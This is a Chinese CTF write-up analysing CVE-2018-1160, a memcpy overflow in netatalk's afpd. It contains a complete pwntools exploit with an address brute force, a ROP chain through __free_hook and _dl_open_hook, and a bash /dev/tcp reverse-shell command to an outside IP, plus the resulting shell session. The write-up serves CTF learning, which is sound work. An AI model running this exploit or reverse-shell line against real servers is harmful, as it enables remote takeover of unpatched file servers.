CVE-2018-1160
序言
我做题的时候主要参考以下3篇wp,本文可以配合这3篇wp食用:
运行与调试
在ubuntu18.04下运行:
$ LD_PRELOAD="./libatalk.so.18" ./afpd -d -F ./afp.conf
由afp.conf可知,程序会监听5566端口:
[Global]
afp port = 5566
disconnect time = 0
max connections = 1000
sleep time = 0
$ sudo netstat -pantu | grep 5566
tcp6 0 0 :::5566 :::* LISTEN 4037/./afpd
调试的时候直接attach进程号,而且由于我们攻击的是fork出来的子进程,所以需要让gdb跟进子进程:
$ sudo gdb --pid 4037 -q
pwndbg> set follow-fork-mode child
分析
我们主要关注 /etc/afpd
和 /libatalk
两个文件夹,前者是主体,后者是功能库。
DSI
用户与afpd交互主要是通过DSI数据包,其格式如下:
我们将Payload前面的部分称为Header,我们的Header如下:
def gen_header(payload_len):
header = "\x00" # Flags: request(0)
# 由于漏洞点位于 dsi_opensession,故 Command = 4
header += "\x04" # Command: DSIOpenSession(4)
header += "\x00\x01" # Request ID
header += "\x00\x00\x00\x00" # Error code/ enclosed data offset: 0
header += struct.pack(">I", payload_len) # Total data length
header += "\x00\x00\x00\x00" # Reserved
return header
DSI数据包发送给netatalk后,在main()函数中处理数据,用DSI结构体保存。可以看到,我们上面的Header其实就是保存在dsi_block结构体中的:
#define DSI_BLOCKSIZ 16
struct dsi_block {
uint8_t dsi_flags; /* packet type: request or reply */
uint8_t dsi_command; /* command */
uint16_t dsi_requestID; /* request ID */
union {
uint32_t dsi_code; /* error code */
uint32_t dsi_doff; /* data offset */
} dsi_data;
uint32_t dsi_len; /* total data length */
uint32_t dsi_reserved; /* reserved field */
};
#define DSI_DATASIZ 65536
/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write; /* in the middle of writing multiple packets,
signal handlers can't write to the socket */
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /* AFP session socket */
int serversock; /* listening socket */
/* DSI readahead buffer used for buffered reads in dsi_peek */
size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */
char *buffer; /* buffer start */
char *start; /* current buffer head */
char *eof; /* end of currently used buffer */
char *end;
#ifdef USE_ZEROCONF
char *bonjourname; /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
int zeroconf_registered;
#endif
/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
} DSI;
漏洞触发
总结:main() -> dsi_start() -> dis_getsession() -> dsi_opensession(): memcpy()
main()(@/etc/afpd/main.c):main()函数先进行一系列初始化工作,包括解析配置文件,初始化socket、初始化dsi结构体等,之后调用dsi_start()函数。
int main(int ac, char **av) { ...... for (int i = 0; i < asev->used; i++) { if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) { switch (asev->data[i].fdtype) { case LISTEN_FD: /************************************************** main() -> dis_start() **************************************************/ if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) { if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) { LOG(log_error, logtype_afpd, "out of asev slots"); /* * Close IPC fd here and mark it as unused */ close(child->afpch_ipc_fd); child->afpch_ipc_fd = -1; /* * Being unfriendly here, but we really * want to get rid of it. The 'child' * handle gets cleaned up in the SIGCLD * handler. */ kill(child->afpch_pid, SIGKILL); } } break;
dsi_start()(@/etc/afpd/main.c):dsi_start()函数先调用dsi_getsession()函数获取TCP会话,解析请求消息,之后调用afp_over_dsi()函数进行会话内容的处理。
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children) { afp_child_t *child = NULL; if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) { LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno)); return NULL; } /* we've forked. */ if (child == NULL) { configfree(obj, dsi); afp_over_dsi(obj); /* start a session */ exit (0); } return child; }
dis_getsession()(@/libatalk/dsi/dsi_getsess.c):dis_getsession()函数开启一个DSI会话,从TCP socket接收会话消息,保存至结构体DSI中。 函数首先调用dsi->proto_open(dsi)进行TCP消息的接收和处理,该函数实体为dsi_tcp_open()。根据返回值是父进程还是子进程,进入不同的处理逻辑。父进程则直接返回,继续监听;子进程则进入之后的DSI消息处理逻辑,根据dsi_command的值(下面在结构体中介绍),选择不同的处理方式,若dsi_command为DSIFUNC_OPEN,则调用dsi_opensession()函数,初始化DSI会话。其中,dsi_tcp_open()将接收的数据保存至DSI结构体中。
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp) { ...... switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */ case -1: /* if we fail, just return. it might work later */ LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno)); return -1; case 0: /* child. mostly handled below. */ break; default: /* parent */ /* using SIGKILL is hokey, but the child might not have * re-established its signal handler for SIGTERM yet. */ ...... dsi->proto_close(dsi); *childp = child; return 0; } ...... switch (dsi->header.dsi_command) { case DSIFUNC_STAT: /* send off status and return */ ...... case DSIFUNC_OPEN: /* setup session */ /* set up the tickle timer */ dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval; dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0; dsi_opensession(dsi); *childp = NULL; return 0; default: /* just close */ LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command); dsi->proto_close(dsi); exit(EXITERR_CLNT); } }
dsi_opensession()(@/libatalk/dsi/dsi_opensess.c):dsi_opensession()函数首先根据commands[0]的内容决定处理逻辑,若为DSIOPT_ATTNQUANT,则执行memcpy,以commands[1]为大小,将commands[2]之后的内容拷贝至DSI结构体的attn_quantum成员变量(4 bytes)。之后程序会构建新的DSI消息到dsi->commands中, 将server_quantum的值返回给客户端 。漏洞点在
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i])
,这里的 dsi->commands 就是DSI数据包结构中的Payload,解析结构为dsi->commands = 功能码(1 byte) + 数据长度(1 byte) + 数据载荷(n byte)
。程序开发者本意是想拷贝4个字节内容至dsi->attn_quantum变量,但是由于Payload是可控的,故memcpy长度可由攻击者定义(commands[1],最大值为255),因此攻击者可以覆盖attn_quantum之后变量的内容(包括datasize,server_quantum,serverID,clientID,*commands和部分的data)。pedef struct DSI { ...... uint32_t attn_quantum, datasize, server_quantum; uint16_t serverID, clientID; uint8_t *commands; /* DSI recieve buffer */ uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */ size_t datalen, cmdlen; off_t read_count, write_count; ...... } DSI; void dsi_opensession(DSI *dsi) { uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */ int offs; ...... /* parse options */ while (i < dsi->cmdlen) { /* * 结合这里的可知 Payload 的内部结构为: * dsi->commands = 功能码(1 byte) + 数据长度(1 byte) + 数据载荷(n byte) */ switch (dsi->commands[i++]) { case DSIOPT_ATTNQUANT: // 漏洞点 memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); dsi->attn_quantum = ntohl(dsi->attn_quantum); case DSIOPT_SERVQUANT: /* just ignore these */ default: i += dsi->commands[i] + 1; /* forward past length tag + length */ break; } } /* let the client know the server quantum. we don't use the * max server quantum due to a bug in appleshare client 3.8.6. */ dsi->header.dsi_flags = DSIFL_REPLY; dsi->header.dsi_data.dsi_code = 0; /* dsi->header.dsi_command = DSIFUNC_OPEN;*/ dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */ /* DSI Option Server Request Quantum */ dsi->commands[0] = DSIOPT_SERVQUANT; dsi->commands[1] = sizeof(i); i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN || dsi->server_quantum > DSI_SERVQUANT_MAX ) ? DSI_SERVQUANT_DEF : dsi->server_quantum); memcpy(dsi->commands + 2, &i, sizeof(i)); /* AFP replaycache size option */ offs = 2 + sizeof(i); dsi->commands[offs] = DSIOPT_REPLCSIZE; dsi->commands[offs+1] = sizeof(i); i = htonl(REPLAYCACHE_SIZE); memcpy(dsi->commands + offs + 2, &i, sizeof(i)); dsi_send(dsi); }
利用思路
我们在同一个socket中发送2条DSI消息,实现任意地址写。
第一条消息
利用上面提到的memcpy漏洞,将*commands指针覆盖成free_hook的地址。发送第一条消息的DSI数据包的Header由 gen_header(payload_len)
生成,Payload格式如下:
def gen_payload1(data):
payload = "\x01"
payload += chr(len(data))
payload += data
第二条消息
- afp_over_dsi()(@/etc/afpd/afp_dsi.c):执行完上面提到的dsi_opensession()函数后,子进程返回至dsi_start()函数,调用afp_over_dsi()函数,该函数负责在当前socket下继续读取消息,并根据消息调用不同的处理函数,实现AFP协议的通信。函数首先调用了 dsi_stream_receive() ,从当前socket读取新消息,之后根据消息内容返回DSI header中的dsi_command。根据dsi_command值的不同,走不同的switch分支,其中当dsi_command为DSIFUNC_CMD时,会以commands[0]为index,从afp_switch这个全局的函数数组中选择对应的处理函数,处理commands数据。afp_switch这个全局的变量,在初始时赋值为preauth_switch,其中只包含认证前能访问的函数,在通过认证之后,会变为postauth_switch,可访问认证后的函数。
void afp_over_dsi(AFPObj *obj){ DSI *dsi = (DSI *) obj->dsi; int rc_idx; uint32_t err, cmd; uint8_t function; ...... while(1){ /* Blocking read on the network socket */ cmd = dsi_stream_receive(dsi); switch(cmd) { case DSIFUNC_CLOSE: LOG(log_debug, logtype_afpd, "DSI: close session request"); afp_dsi_close(obj); LOG(log_note, logtype_afpd, "done"); exit(0); case DSIFUNC_TICKLE: ...... case DSIFUNC_CMD: function = (u_char) dsi->commands[0]; if (afp_switch[function]) { ...... err = (*afp_switch[function])(obj, (char *)dsi->commands, dsi->cmdlen, (char *)&dsi->data, &dsi->datalen); ...... } } ...... } ...... }
- dsi_stream_receive()(@/libatalk/dsi/dsi_stream.c):该函数从当前socket继续读取消息并保存在结构体中。具体地,先读取DSI header并保存到dsi->header结构体中,然后读取后续DSI payload保存到dsi->commands指向的buffer当中,长度由dsi->cmdlen指定。
int dsi_stream_receive(DSI *dsi) { char block[DSI_BLOCKSIZ]; LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START"); if (dsi->flags & DSI_DISCONNECTED) return 0; /* read in the header */ if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) return 0; dsi->header.dsi_flags = block[0]; dsi->header.dsi_command = block[1]; if (dsi->header.dsi_command == 0) return 0; memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID)); memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff)); dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff); memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len)); memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved)); dsi->clientID = ntohs(dsi->header.dsi_requestID); /* make sure we don't over-write our buffers. */ dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum); /* Receiving DSIWrite data is done in AFP function, not here */ if (dsi->header.dsi_data.dsi_doff) { LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request"); dsi->cmdlen = dsi->header.dsi_data.dsi_doff; } /* 将header之后的payload读取到commands指向的内存中 */ if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) return 0; LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen); return block[1]; }
- 第二条消息最终会由dsi_stream_receive()函数中的
dsi_stream_read(dsi, dsi->commands, dsi->comlen)
函数读取到dsi->commands所指向的内存中(该指针已在第一条消息中被篡改为free_hook,因此此时我们篡改的就是free_hook)。其中dsi->comlen由DSI数据包中的Total data length指定。第二条消息的DSI数据包的Header也由gen_header(payload_len)
生成,Payload格式如下。在开头再加一个’\x00’是因为afp_over_dsi()函数在执行完dsi_stream_receive()后会进入case DSIFUNC_CMD
,第一个字节用于指定要使用的函数(function = (u_char) dsi->commands[0]
)拿个0去填充即可。def gen_payload2(data): return "\x00" + data
ROP
参考(CV):gtrboy
setcontext+53:
.text:0000000000052070 ; __unwind { .text:0000000000052070 push rdi .text:0000000000052071 lea rsi, [rdi+128h] ; nset .text:0000000000052078 xor edx, edx ; oset .text:000000000005207A mov edi, 2 ; how .text:000000000005207F mov r10d, 8 ; sigsetsize .text:0000000000052085 mov eax, 0Eh .text:000000000005208A syscall ; LINUX - sys_rt_sigprocmask .text:000000000005208C pop rdi .text:000000000005208D cmp rax, 0FFFFFFFFFFFFF001h .text:0000000000052093 jnb short loc_520F0 .text:0000000000052095 mov rcx, [rdi+0E0h] .text:000000000005209C fldenv byte ptr [rcx] .text:000000000005209E ldmxcsr dword ptr [rdi+1C0h] .text:00000000000520A5 mov rsp, [rdi+0A0h] ; <--- setcontext+53 .text:00000000000520AC mov rbx, [rdi+80h] .text:00000000000520B3 mov rbp, [rdi+78h] .text:00000000000520B7 mov r12, [rdi+48h] .text:00000000000520BB mov r13, [rdi+50h] .text:00000000000520BF mov r14, [rdi+58h] .text:00000000000520C3 mov r15, [rdi+60h] .text:00000000000520C7 mov rcx, [rdi+0A8h] .text:00000000000520CE push rcx .text:00000000000520CF mov rsi, [rdi+70h] .text:00000000000520D3 mov rdx, [rdi+88h] .text:00000000000520DA mov rcx, [rdi+98h] .text:00000000000520E1 mov r8, [rdi+28h] .text:00000000000520E5 mov r9, [rdi+30h] .text:00000000000520E9 mov rdi, [rdi+68h] .text:00000000000520E9 ; } // starts at 52070 .text:00000000000520ED ; __unwind { .text:00000000000520ED xor eax, eax .text:00000000000520EF retn
其实对照下图可知:这段gadget是根据sigreturn系统调用中的Signal Frame格式在给各个寄存器赋值。由于赋值时是根据rdi寄存器中存放的值作为基址的,故使用这个gadget要求rdi寄存器及rdi指向的内存空间都可控 。
libc_dlopen_mode+56:这段gadget首先把_dl_open_hook内的值(并不是_dl_open_hook的地址)赋值给rax,然后以该值1为地址取值2,跳转到值2对应的地址。效果等价于令rip跳转到_dl_open_hook上所保存的地址,并且令rax=_dl_open_hook的地址值。
.text:0000000000166450 ; __unwind { .text:0000000000166450 sub rsp, 58h .text:0000000000166454 mov rax, fs:28h .text:000000000016645D mov [rsp+58h+var_10], rax .text:0000000000166462 xor eax, eax .text:0000000000166464 mov rax, [rsp+58h] .text:0000000000166469 mov [rsp+58h+var_38], rdi .text:000000000016646E mov [rsp+58h+var_30], esi .text:0000000000166472 mov [rsp+58h+var_28], rax .text:0000000000166477 mov rax, cs:_rtld_global_ro_ptr .text:000000000016647E cmp qword ptr [rax+148h], 0 .text:0000000000166486 jnz short loc_1664B0 .text:0000000000166488 mov rax, cs:_dl_open_hook ; <--- libc_dlopen_mode+56 .text:000000000016648F call qword ptr [rax]
fgetpos64+207
mov rdi, rax ; call qword ptr [rax + 0x20]
布局
爆破基址
先打一次会覆盖DSI结构中的command指针payload:
import struct from pwn import * REMOTE = False IP = "127.0.0.1" PORT = 5566 if REMOTE: IP = "chall.pwnable.tw" PORT = 10002 p = remote(IP, PORT) context(arch='amd64', os='linux', log_level='debug') libc = ELF("./libc-2.27.so") def gen_payload1(data): payload = "\x01" payload += chr(len(data)) payload += data return payload def gen_payload2(data): return "\x00" + data def gen_header(payload_len): header = "\x00" header += "\x04" header += "\x00\x01" header += "\x00\x00\x00\x00" header += struct.pack(">I", payload_len) header += "\x00\x00\x00\x00" return header data = "" data += 'a'*0x80 tmp = gen_payload1(data) tmp = gen_header(len(tmp)) + tmp p.send(tmp) p.recv()
$ sudo gdb --pid 5738 -q pwndbg> set follow-fork-mode child pwndbg> c Continuing. [New process 5931] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Thread 2.1 "afpd" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fb640684740 (LWP 5931)] 0x00007fb640218fbb in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────── RAX 0x61616161 RBX 0x55b9d5142450 ◂— 0x0 RCX 0x6161616161616161 ('aaaaaaaa') RDX 0x0 RDI 0x55b9d5142ba8 ◂— 0x0 RSI 0x7fb640583092 ◂— 0x0 R8 0x55b9d5142b28 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' R9 0x1 R10 0x25 R11 0x293 R12 0x55b9d51400d0 ◂— 0x0 R13 0x1e R14 0x7ffc23cfb350 ◂— 0x0 R15 0x0 RBP 0x55b9d5142450 ◂— 0x0 RSP 0x7ffc23cfb250 ◂— 0x0 RIP 0x7fb640218fbb ◂— movzx eax, byte ptr [rcx + r9] ─────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────── ► 0x7fb640218fbb movzx eax, byte ptr [rcx + r9] 0x7fb640218fc0 lea esi, [rdx + rax + 2] 0x7fb640218fc4 cmp rsi, qword ptr [rbx + 0x106f8] 0x7fb640218fcb mov rdx, rsi 0x7fb640218fce jb 0x7fb640218f80 <0x7fb640218f80> ↓ 0x7fb640218f80 cmp byte ptr [rcx + rsi], 1 0x7fb640218f84 lea r9d, [rdx + 1] 0x7fb640218f88 movzx eax, byte ptr [rcx + r9] 0x7fb640218f8d jne 0x7fb640218f70 <0x7fb640218f70> ↓ 0x7fb640218f70 lea esi, [rdx + rax + 2] 0x7fb640218f74 cmp rsi, qword ptr [rbx + 0x106f8] ──────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7ffc23cfb250 ◂— 0x0 01:0008│ 0x7ffc23cfb258 —▸ 0x7fb640218c63 ◂— mov qword ptr [r14], 0 02:0010│ 0x7ffc23cfb260 ◂— 0x0 03:0018│ 0x7ffc23cfb268 ◂— 0x600000005 04:0020│ 0x7ffc23cfb270 ◂— 0x170900000002 05:0028│ 0x7ffc23cfb278 ◂— 0x2000003e8 06:0030│ 0x7ffc23cfb280 ◂— 0x7ffc55555554 07:0038│ 0x7ffc23cfb288 ◂— 0x46505845 /* 'EXPF' */ ────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────── ► f 0 0x7fb640218fbb f 1 0x0 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
由于DSI结构体中的command指针被赋值称
0x6161616161616161
,该地址不可访问,程序断在0x7fb640218fbb
处。接下来在
0x7fb640218fbb
处下断点,定位DSI结构体在内存中的位置:import struct from pwn import * REMOTE = False IP = "127.0.0.1" PORT = 5566 if REMOTE: IP = "chall.pwnable.tw" PORT = 10002 p = remote(IP, PORT) context(arch='amd64', os='linux', log_level='debug') libc = ELF("./libc-2.27.so") def gen_payload1(data): payload = "\x01" payload += chr(len(data)) payload += data return payload def gen_payload2(data): return "\x00" + data def gen_header(payload_len): header = "\x00" header += "\x04" header += "\x00\x01" header += "\x00\x00\x00\x00" header += struct.pack(">I", payload_len) header += "\x00\x00\x00\x00" return header data = "" data += "aaaa" # attn_quantum data += "bbbb" # datasize data += "blog" # server_quantum tmp = gen_payload1(data) tmp = gen_header(len(tmp)) + tmp p.send(tmp) p.recv()
搜索一下标记字符串”blog”:
pwndbg> search blog [heap] 0x55b9d5142b30 0x10000676f6c62 /* 'blog' */ uams_dhx2_passwd.so 0x7fb63a7d3241 'blog/ctf/pwnable_tw/CVE-2018-1160/netatalk-3.1.11/etc/uams' uams_dhx_passwd.so 0x7fb63ae9b625 'blog/ctf/pwnable_tw/CVE-2018-1160/netatalk-3.1.11/etc/uams' [anon_7fb640583] 0x7fb64058301a 0x676f6c62 /* 'blog' */ [anon_7fb6406a8] 0x7fb6406a84b6 'blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/.' [stack] 0x7ffc23cfda25 0x47445800676f6c62 /* 'blog' */ [stack] 0x7ffc23cfda74 0x53454400676f6c62 /* 'blog' */ [stack] 0x7ffc23cfdb23 'blog/ctf/pwnable_tw/CVE-2018-1160/netatalk' [stack] 0x7ffc23cfdb59 0x554f4a00676f6c62 /* 'blog' */ [stack] 0x7ffc23cfde0f 0x55424400676f6c62 /* 'blog' */ [stack] 0x7ffc23cfdef0 'blog/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin'
存放结构体的堆应该位于
0x55b9d5142b00
。commonds指针指向的地址为0x00007fb640583010
:pwndbg> x/10xg 0x55b9d5142b00 0x55b9d5142b00: 0x0000000000000000 0x000000000000001e 0x55b9d5142b10: 0x0000000000000000 0x0000000000000000 0x55b9d5142b20: 0x0000000000000000 0x6262626261616161 0x55b9d5142b30: 0x00010000676f6c62 0x00007fb640583010 0x55b9d5142b40: 0x0000000000000000 0x0000000000000000
vmmap观察一下周围的内存情况:
0x7fb63f7d7000 0x7fb63f9be000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x7fb63f9be000 0x7fb63fbbe000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7fb63fbbe000 0x7fb63fbc2000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7fb63fbc2000 0x7fb63fbc4000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7fb63fbc4000 0x7fb63fbc8000 rw-p 4000 0 [anon_7fb63fbc4] 0x7fb63fbc8000 0x7fb63fbe2000 r-xp 1a000 0 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7fb63fbe2000 0x7fb63fde1000 ---p 1ff000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7fb63fde1000 0x7fb63fde2000 r--p 1000 19000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7fb63fde2000 0x7fb63fde3000 rw-p 1000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7fb63fde3000 0x7fb63fde7000 rw-p 4000 0 [anon_7fb63fde3] 0x7fb63fde7000 0x7fb63fdee000 r-xp 7000 0 /lib/x86_64-linux-gnu/libacl.so.1.1.0 0x7fb63fdee000 0x7fb63ffed000 ---p 1ff000 7000 /lib/x86_64-linux-gnu/libacl.so.1.1.0 0x7fb63ffed000 0x7fb63ffee000 r--p 1000 6000 /lib/x86_64-linux-gnu/libacl.so.1.1.0 0x7fb63ffee000 0x7fb63ffef000 rw-p 1000 7000 /lib/x86_64-linux-gnu/libacl.so.1.1.0 0x7fb63ffef000 0x7fb63fff2000 r-xp 3000 0 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7fb63fff2000 0x7fb6401f1000 ---p 1ff000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7fb6401f1000 0x7fb6401f2000 r--p 1000 2000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7fb6401f2000 0x7fb6401f3000 rw-p 1000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7fb6401f3000 0x7fb640271000 r-xp 7e000 0 /home/blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/libatalk.so.18 0x7fb640271000 0x7fb640470000 ---p 1ff000 7e000 /home/blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/libatalk.so.18 0x7fb640470000 0x7fb640471000 r--p 1000 7d000 /home/blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/libatalk.so.18 0x7fb640471000 0x7fb640473000 rw-p 2000 7e000 /home/blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/libatalk.so.18 0x7fb640473000 0x7fb640481000 rw-p e000 0 [anon_7fb640473] 0x7fb640481000 0x7fb6404aa000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7fb640583000 0x7fb640684000 rw-p 101000 0 [anon_7fb640583]
既然commonds指针指向的位置在libcbase的后面,那么我们可以在保证地址值是0x1000的整数倍的前提下,从高到低逐位爆破出一个可写的地址,再用这个地址去每次减0x1000枚举libcbase。在上面的vmmap中:只要枚举 (
0x7fb6406840000-0x7fb63f7d7000)/0x1000=3757
次即可得到libcbase。我们可以在服务器上
sudo nc -lvnp [PORT]
监听特定端口,每枚举一个libcbase,就用bash -c "bash -i>& /dev/tcp/[IP]/[PORT] 0>&1"
去尝试反弹shell,直到成功为止。
EXP
import struct
from pwn import *
REMOTE = True
IP = "127.0.0.1"
PORT = 5566
CMD = 'bash -c "bash -i>& /dev/tcp/106.52.6.138/80 0>&1"'
if REMOTE:
IP = "chall.pwnable.tw"
PORT = 10002
context(arch='amd64', os='linux', log_level='error')
libc = ELF("./libc-2.27.so")
def gen_payload1(data):
payload = "\x01"
payload += chr(len(data))
payload += data
return payload
def gen_payload2(data):
return "\x00" + data
def gen_header(payload_len):
header = "\x00"
header += "\x04"
header += "\x00\x01"
header += "\x00\x00\x00\x00"
header += struct.pack(">I", payload_len)
header += "\x00\x00\x00\x00"
return header
def bruteforce():
leak_addr = "\x00"
for i in range(5):
d = -1
s0 = 255
if(i == 0):
d = -0x10
s0 = 240
for j in range(s0,d,d):
now = ""
now += "aaaa" # attn_quantum
now += "bbbb" # datasize
now += "blog" # server_quantum
now += "dddd" # serverID, clientID
now += leak_addr + chr(j)
p = remote(IP, PORT)
tmp = gen_payload1(now)
tmp = gen_header(len(tmp)) + tmp
p.send(tmp)
try:
if("golb" in p.recv()):
leak_addr += chr(j)
print(leak_addr)
p.close()
break
except:
p.close()
# 0x7f1d23795000
ret = u64(leak_addr.ljust(8,'\x00'), endian = "little")
print(hex(ret))
return ret
def exploit(leak_addr, offset):
libc_base = leak_addr - offset
free_hook = libc_base + libc.sym["__free_hook"]
dl_open_hook = libc_base + libc.sym["_dl_open_hook"]
system_addr = libc_base + libc.sym["system"]
setcontext_53 = libc_base + 0x520A5
libc_dlopen_mode_56 = libc_base + 0x166488
fgetpos64_207 = libc_base + 0x7EA1F
p = remote(IP, PORT)
data = ""
data += "aaaa" # attn_quantum
data += "bbbb" # datasize
data += "blog" # server_quantum
data += "dddd" # serverID, clientID
data += p64(free_hook - 0x10)
tmp = gen_payload1(data)
tmp = gen_header(len(tmp)) + tmp
p.send(tmp)
sigframe = SigreturnFrame()
sigframe.rip = system_addr
sigframe.rdi = free_hook + 8 # cmd
sigframe.rsp = free_hook # must be a writable address, as the stack of system func
data = "".ljust(0xF, '\x00') # padding
data += p64(libc_dlopen_mode_56) # __free_hook, after this rop, rax = *dl_open_hook = dl_open_hook + 8
data += CMD.ljust(0x2bb8, '\x00') # __free_hook + 8
data += p64(dl_open_hook + 8) # dl_open_hook, *dl_open_hook = dl_open_hook+8, **dl_open_hook = fgetpos64+207
data += p64(fgetpos64_207) # _dl_open_hook+8, let rdi = rax = _dl_open_hook + 8
data += 'A' * 0x18
data += p64(setcontext_53) # dl_open_hook + 0x28 = rax + 0x20, call [rax+0x20] = setcontext+53
data += str(sigframe)[0x28:] # now rdi = dl_open_hook + 8, thus we cut the offset from rdi to this pos
payload = gen_payload2(data)
tmp = gen_header(len(payload)) + payload
p.send(tmp)
p.close()
# REMOTE: 0x7f1d2378f000
leak_addr = bruteforce()
for offset in range(0, 0xffff000, 0x1000):
exploit(leak_addr, offset)
结果
ubuntu@VM-8-13-ubuntu:~$ sudo nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 139.162.123.119 33326
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
netatalk@08e1e5af1e65:/$ ls
ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
netatalk@08e1e5af1e65:/$ cd home
cd home
netatalk@08e1e5af1e65:/home$ ls
ls
netatalk
netatalk@08e1e5af1e65:/home$ cd netatalk
cd netatalk
netatalk@08e1e5af1e65:/home/netatalk$ ls
ls
afp.conf
afpd
flag
libatalk.so.18
netatalk@08e1e5af1e65:/home/netatalk$ cat flag
cat flag
FLAG{ASLR_1s_us3l3ss_0n_f0rk_d43m0n}
netatalk@08e1e5af1e65:/home/netatalk$